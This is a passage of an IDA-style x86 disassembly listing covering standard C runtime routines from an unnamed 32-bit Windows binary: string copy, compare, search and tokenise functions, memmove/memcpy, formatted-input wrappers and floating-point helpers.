loc_41C926:				; CODE XREF: sub_41C8A0+6Bj
					; sub_41C8A0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41C921
		test	dl, dl
		jz	short loc_41C978
		test	dh, dh
		jz	short loc_41C96F
		test	edx, 0FF0000h
		jz	short loc_41C962
		test	edx, 0FF000000h
		jz	short loc_41C95A
		jmp	short loc_41C921
; ---------------------------------------------------------------------------


loc_41C95A:				; CODE XREF: sub_41C8A0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C962:				; CODE XREF: sub_41C8A0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C96F:				; CODE XREF: sub_41C8A0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C978:				; CODE XREF: sub_41C8A0+72j
					; sub_41C8A0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_41C8A0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41C990


loc_41C980:				; CODE XREF: sub_41C990+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_41C990
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C990	proc near		; CODE XREF: sub_401ACD+412p
					; sub_401ACD+4B9p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 0041C980 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_41C996:				; CODE XREF: sub_41C2E0+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_41C9BB


loc_41C9A8:				; CODE XREF: sub_41C990+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_41C980
		test	cl, cl
		jz	short loc_41CA04
		test	edx, 3
		jnz	short loc_41C9A8


loc_41C9BB:				; CODE XREF: sub_41C990+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_41C9C6:				; CODE XREF: sub_41C990+61j
					; sub_41C990+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_41CA08
		and	eax, 81010100h
		jz	short loc_41C9C6
		and	eax, 1010100h
		jnz	short loc_41CA02
		and	esi, 80000000h
		jnz	short loc_41C9C6


loc_41CA02:				; CODE XREF: sub_41C990+68j
					; sub_41C990+81j ...
		pop	esi
		pop	edi


loc_41CA04:				; CODE XREF: sub_41C990+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41CA08:				; CODE XREF: sub_41C990+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_41CA45
		test	al, al
		jz	short loc_41CA02
		cmp	ah, bl
		jz	short loc_41CA3E
		test	ah, ah
		jz	short loc_41CA02
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_41CA37
		test	al, al
		jz	short loc_41CA02
		cmp	ah, bl
		jz	short loc_41CA30
		test	ah, ah
		jz	short loc_41CA02
		jmp	short loc_41C9C6
; ---------------------------------------------------------------------------


loc_41CA30:				; CODE XREF: sub_41C990+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41CA37:				; CODE XREF: sub_41C990+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41CA3E:				; CODE XREF: sub_41C990+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41CA45:				; CODE XREF: sub_41C990+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_41C990	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41CA50	proc near		; CODE XREF: sub_401ACD+1AEp
					; sub_401ACD+205p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41CA9C


loc_41CA60:				; CODE XREF: sub_41CA50+3Cj
					; sub_41CA50+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_41CA94
		or	al, al
		jz	short loc_41CA90
		cmp	ah, [ecx+1]
		jnz	short loc_41CA94
		or	ah, ah
		jz	short loc_41CA90
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_41CA94
		or	al, al
		jz	short loc_41CA90
		cmp	ah, [ecx+3]
		jnz	short loc_41CA94
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_41CA60
		mov	edi, edi


loc_41CA90:				; CODE XREF: sub_41CA50+18j
					; sub_41CA50+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CA94:				; CODE XREF: sub_41CA50+14j
					; sub_41CA50+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CA9C:				; CODE XREF: sub_41CA50+Ej
		test	edx, 1
		jz	short loc_41CAB8
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_41CA94
		inc	ecx
		or	al, al
		jz	short loc_41CA90
		test	edx, 2
		jz	short loc_41CA60


loc_41CAB8:				; CODE XREF: sub_41CA50+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_41CA94
		or	al, al
		jz	short loc_41CA90
		cmp	ah, [ecx+1]
		jnz	short loc_41CA94
		or	ah, ah
		jz	short loc_41CA90
		add	ecx, 2
		jmp	short loc_41CA60
sub_41CA50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CAD4	proc near		; CODE XREF: sub_401ACD+B5p
					; sub_401ACD+D5p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_41CAED:				; CODE XREF: sub_41CAD4+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_41CAED
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_41CB15
		mov	edx, dword_4DBE28


loc_41CB15:				; CODE XREF: sub_41CAD4+39j
					; sub_41CAD4+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_41CB35
		test	al, al
		jz	short loc_41CB35
		inc	edx
		jmp	short loc_41CB15
; ---------------------------------------------------------------------------


loc_41CB35:				; CODE XREF: sub_41CAD4+58j
					; sub_41CAD4+5Cj
		mov	ebx, edx


loc_41CB37:				; CODE XREF: sub_41CAD4+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_41CB5B
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_41CB57
		inc	edx
		jmp	short loc_41CB37
; ---------------------------------------------------------------------------


loc_41CB57:				; CODE XREF: sub_41CAD4+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_41CB5B:				; CODE XREF: sub_41CAD4+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_4DBE28, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_41CAD4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CB70	proc near		; CODE XREF: sub_409823+1Cp
					; sub_415DAC+19p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_41FF3F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41CBAE
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41CBBB
; ---------------------------------------------------------------------------


loc_41CBAE:				; CODE XREF: sub_41CB70+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41FE2A
		pop	ecx
		pop	ecx


loc_41CBBB:				; CODE XREF: sub_41CB70+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41CB70	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CBC0	proc near		; CODE XREF: sub_40ADE1+88p
					; sub_40B90E+60p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_41CC74
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_41CBEA


loc_41CBDB:				; CODE XREF: sub_41CBC0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_41CC1B
		test	edi, 3
		jnz	short loc_41CBDB


loc_41CBEA:				; CODE XREF: sub_41CBC0+19j
					; sub_41CBC0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_41CBEA
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_41CC28
		test	ah, ah
		jz	short loc_41CC23
		test	eax, 0FF0000h
		jz	short loc_41CC1E
		test	eax, 0FF000000h
		jnz	short loc_41CBEA


loc_41CC1B:				; CODE XREF: sub_41CBC0+20j
		dec	edi
		jmp	short loc_41CC2B
; ---------------------------------------------------------------------------


loc_41CC1E:				; CODE XREF: sub_41CBC0+52j
		sub	edi, 2
		jmp	short loc_41CC2B
; ---------------------------------------------------------------------------


loc_41CC23:				; CODE XREF: sub_41CBC0+4Bj
		sub	edi, 3
		jmp	short loc_41CC2B
; ---------------------------------------------------------------------------


loc_41CC28:				; CODE XREF: sub_41CBC0+47j
		sub	edi, 4


loc_41CC2B:				; CODE XREF: sub_41CBC0+5Cj
					; sub_41CBC0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_41CC40
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41CC8C
		jmp	short loc_41CC5C
; ---------------------------------------------------------------------------


loc_41CC40:				; CODE XREF: sub_41CBC0+75j
					; sub_41CBC0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_41CC7A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_41CC70
		test	esi, 3
		jnz	short loc_41CC40
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41CC8C


loc_41CC5C:				; CODE XREF: sub_41CBC0+7Ej
					; sub_41CBC0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_41CC70


loc_41CC63:				; CODE XREF: sub_41CBC0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_41CC72
		dec	ecx
		jnz	short loc_41CC63


loc_41CC70:				; CODE XREF: sub_41CBC0+8Bj
					; sub_41CBC0+A1j
		mov	[edi], cl


loc_41CC72:				; CODE XREF: sub_41CBC0+ABj
		pop	ebx
		pop	esi


loc_41CC74:				; CODE XREF: sub_41CBC0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41CC7A:				; CODE XREF: sub_41CBC0+85j
					; sub_41CBC0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41CC84:				; CODE XREF: sub_41CBC0+E4j
					; sub_41CBC0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41CC5C


loc_41CC8C:				; CODE XREF: sub_41CBC0+7Cj
					; sub_41CBC0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41CC84
		test	dl, dl
		jz	short loc_41CC7A
		test	dh, dh
		jz	short loc_41CCD8
		test	edx, 0FF0000h
		jz	short loc_41CCC8
		test	edx, 0FF000000h
		jnz	short loc_41CC84
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41CCC8:				; CODE XREF: sub_41CBC0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41CCD8:				; CODE XREF: sub_41CBC0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41CBC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CCE3	proc near		; CODE XREF: ___:0040B062p
					; sub_40C2AF+40p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_41B9C0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_420DB0
		add	esp, 10h
		leave
		retn
sub_41CCE3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CD20	proc near		; CODE XREF: sub_40B13C+62p
					; sub_40B13C+6Fp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41CD40
		cmp	edi, eax
		jb	loc_41CEB8


loc_41CD40:				; CODE XREF: sub_41CD20+16j
		test	edi, 3
		jnz	short loc_41CD5C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CD7C
		rep movsd
		jmp	off_41CE68[edx*4]
; ---------------------------------------------------------------------------


loc_41CD5C:				; CODE XREF: sub_41CD20+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41CD74
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41CD7C+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CD74:				; CODE XREF: sub_41CD20+46j
		jmp	dword ptr loc_41CE78[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CD7C:				; CODE XREF: sub_41CD20+31j
					; sub_41CD20+8Ej ...
		jmp	off_41CDFC[ecx*4]
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 0CDh, 41h, 0
		dd offset loc_41CDBC
		dd offset loc_41CDE0
; ---------------------------------------------------------------------------
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41CD7C
		rep movsd
		jmp	off_41CE68[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CDBC:				; DATA XREF: sub_41CD20+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41CD7C
		rep movsd
		jmp	off_41CE68[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CDE0:				; DATA XREF: sub_41CD20+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41CD7C
		rep movsd
		jmp	off_41CE68[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CDFC	dd offset loc_41CE5F	; DATA XREF: sub_41CD20:loc_41CD7Cr
		dd offset loc_41CE4C
		dd offset loc_41CE44
		dd offset loc_41CE3C
		dd offset loc_41CE34
		dd offset loc_41CE2C
		dd offset loc_41CE24
		dd offset loc_41CE1C
; ---------------------------------------------------------------------------


loc_41CE1C:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41CE24:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41CE2C:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41CE34:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41CE3C:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41CE44:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41CE4C:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CE5F:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20:off_41CDFCo
		jmp	off_41CE68[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CE68	dd offset loc_41CE78	; DATA XREF: sub_41CD20+35r
					; sub_41CD20+92r ...
		dd offset loc_41CE80
		dd offset loc_41CE8C
		dd offset loc_41CEA0
; ---------------------------------------------------------------------------


loc_41CE78:				; CODE XREF: sub_41CD20+35j
					; sub_41CD20+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CE80:				; CODE XREF: sub_41CD20+35j
					; sub_41CD20+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CE8C:				; CODE XREF: sub_41CD20+35j
					; sub_41CD20+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CEA0:				; CODE XREF: sub_41CD20+35j
					; sub_41CD20+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CEB8:				; CODE XREF: sub_41CD20+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41CEEC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CEE0
		std
		rep movsd
		cld
		jmp	off_41D000[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CEE0:				; CODE XREF: sub_41CD20+1B1j
					; sub_41CD20+208j ...
		neg	ecx
		jmp	off_41CFB0[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CEEC:				; CODE XREF: sub_41CD20+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41CF04
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41CF04+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CF04:				; CODE XREF: sub_41CD20+1D6j
					; DATA XREF: sub_41CD20+1DDr
		jmp	off_41D000[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CF17+1
; ---------------------------------------------------------------------------
		cmp	bh, cl
		inc	ecx
		add	[eax-31h], ah
		inc	ecx


loc_41CF17:				; DATA XREF: sub_41CD20+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41CEE0
		std
		rep movsd
		cld
		jmp	off_41D000[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41CEE0
		std
		rep movsd
		cld
		jmp	off_41D000[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41CEE0
		std
		rep movsd
		cld
		jmp	off_41D000[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CFB4
		dd offset loc_41CFBC
		dd offset loc_41CFC4
		dd offset loc_41CFCC
		dd offset loc_41CFD4
		dd offset loc_41CFDC
		dd offset loc_41CFE4
off_41CFB0	dd offset loc_41CFF7	; DATA XREF: sub_41CD20+1C2r
; ---------------------------------------------------------------------------


loc_41CFB4:				; DATA XREF: sub_41CD20+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41CFBC:				; DATA XREF: sub_41CD20+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_41CFC4:				; DATA XREF: sub_41CD20+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41CFCC:				; DATA XREF: sub_41CD20+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_41CFD4:				; DATA XREF: sub_41CD20+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41CFDC:				; DATA XREF: sub_41CD20+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_41CFE4:				; DATA XREF: sub_41CD20+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CFF7:				; CODE XREF: sub_41CD20+1C2j
					; DATA XREF: sub_41CD20:off_41CFB0o
		jmp	off_41D000[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41D000	dd offset loc_41D010	; DATA XREF: sub_41CD20+1B7r
					; sub_41CD20:loc_41CF04r ...
		dd offset loc_41D018
		dd offset loc_41D028
		dd offset loc_41D03C
; ---------------------------------------------------------------------------


loc_41D010:				; CODE XREF: sub_41CD20+1B7j
					; sub_41CD20:loc_41CF04j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D018:				; CODE XREF: sub_41CD20+1B7j
					; sub_41CD20:loc_41CF04j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D028:				; CODE XREF: sub_41CD20+1B7j
					; sub_41CD20:loc_41CF04j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D03C:				; CODE XREF: sub_41CD20+1B7j
					; sub_41CD20:loc_41CF04j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41CD20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41D055(double)

sub_41D055	proc near		; CODE XREF: sub_40D2F4+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43AE10
		call	sub_422089
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41D0DB
		call	sub_421F51
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41D0BE
		cmp	eax, 2
		jle	short loc_41D0B0
		cmp	eax, 3
		jnz	short loc_41D0BE
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_421861
		add	esp, 10h
		jmp	short loc_41D120
; ---------------------------------------------------------------------------


loc_41D0B0:				; CODE XREF: sub_41D055+3Fj
		push	esi
		push	ebx
		call	sub_422089
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41D120
; ---------------------------------------------------------------------------


loc_41D0BE:				; CODE XREF: sub_41D055+3Aj
					; sub_41D055+44j
		fld	[ebp+arg_0]
		fadd	dbl_4276F8
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_41D118
; ---------------------------------------------------------------------------


loc_41D0DB:				; CODE XREF: sub_41D055+2Fj
		call	sub_421F16
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41D0FE


loc_41D0F0:				; CODE XREF: sub_41D055+ACj
		push	esi
		push	ebx
		call	sub_422089
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41D120
; ---------------------------------------------------------------------------


loc_41D0FE:				; CODE XREF: sub_41D055+99j
		test	bl, 20h
		jnz	short loc_41D0F0
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


loc_41D118:				; CODE XREF: sub_41D055+84j
		call	sub_4218B4
		add	esp, 1Ch


loc_41D120:				; CODE XREF: sub_41D055+59j
					; sub_41D055+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41D055	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D124	proc near		; CODE XREF: ___:0041C16Dp
					; sub_422152+21p
					; DATA XREF: ...
		call	sub_41D13C
		call	sub_422152
		mov	dword_4DBE30, eax
		call	sub_422102
		fnclex
		retn
sub_41D124	endp

